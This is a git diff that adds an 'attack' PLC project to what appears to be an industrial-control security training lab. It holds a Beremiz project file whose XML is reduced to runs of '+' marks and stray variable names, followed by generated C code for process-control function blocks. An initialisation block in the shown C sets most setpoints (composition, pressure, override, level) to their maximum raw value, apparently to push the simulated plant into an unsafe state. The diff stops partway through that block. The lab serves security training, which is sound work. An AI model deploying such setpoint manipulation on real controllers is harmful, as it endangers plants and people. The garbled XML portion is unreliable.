hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); 